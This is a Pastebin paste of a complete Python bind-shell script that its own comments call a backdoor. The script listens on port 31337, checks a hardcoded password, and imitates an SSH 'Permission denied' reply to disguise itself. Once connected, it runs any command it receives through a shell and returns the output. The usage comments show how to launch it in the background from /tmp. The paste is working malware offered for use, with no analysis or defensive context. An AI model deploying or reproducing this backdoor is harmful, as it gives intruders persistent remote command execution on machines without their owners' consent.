indonesian

Bind shell

May 30th, 2018
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.68 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # Python bind shell
  4. # Author : koboi137 ( Backbox Indonesia )
  5. #
  6. # How to use
  7. # $ chmod +x bind.py
  8. # $ echo $(/tmp/bind.py) &
  9. #
  10. # To kill this backdoor
  11. # user[/tmp] >> killme
  12. #
  13.  
  14.  
  15. import socket
  16. import pwd
  17. import os
  18. import thread
  19. import subprocess
  20. import sys
  21.  
  22. PORT=31337
  23. PASS='password'
  24.  
  25. def connection(conn):
  26.     usr = pwd.getpwuid(os.getuid()).pw_name
  27.     hst = socket.gethostname()
  28.     conn.setblocking(1)
  29.     conn.send("{}@{}'s password: ".format(usr, hst))
  30.     passwd = conn.recv(1024)
  31.     if passwd.strip('\r\n') == PASS:
  32.         while True:
  33.             usr = pwd.getpwuid(os.getuid()).pw_name
  34.             pth = os.getcwd()
  35.             conn.send('{}[{}] >> '.format(usr, pth))
  36.             data = conn.recv(1024)
  37.             if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
  38.                 conn.close()
  39.                 break
  40.             elif data.strip('\r\n').startswith('killme'):
  41.                 os.system('kill -9 {}'.format(os.getpid()))
  42.             elif data.strip('\r\n').startswith('cd'):
  43.                 try: os.chdir(data.strip('\r\n')[3:])
  44.                 except: conn.send('The system path cannot be found!\n')
  45.             else:
  46.                 proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
  47.                 stdoutput = proc.stdout.read() + proc.stderr.read()
  48.                 conn.send(stdoutput)
  49.     else:
  50.         conn.send('Permission denied (publickey,password).\n')
  51.         conn.close()
  52.  
  53. while True:
  54.     try:
  55.         s = socket.socket()
  56.         s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  57.         s.bind(('', PORT))
  58.         s.listen(5)
  59.         while True:
  60.             s.settimeout(2)
  61.             try: conn, addr = s.accept()
  62.             except socket.timeout: continue
  63.  
  64.             if(conn):
  65.                 s.settimeout(None)
  66.                 thread.start_new_thread(connection, (conn,))
  67.  
  68.     except: pass
Advertisement
Add Comment
Please, Sign In to add comment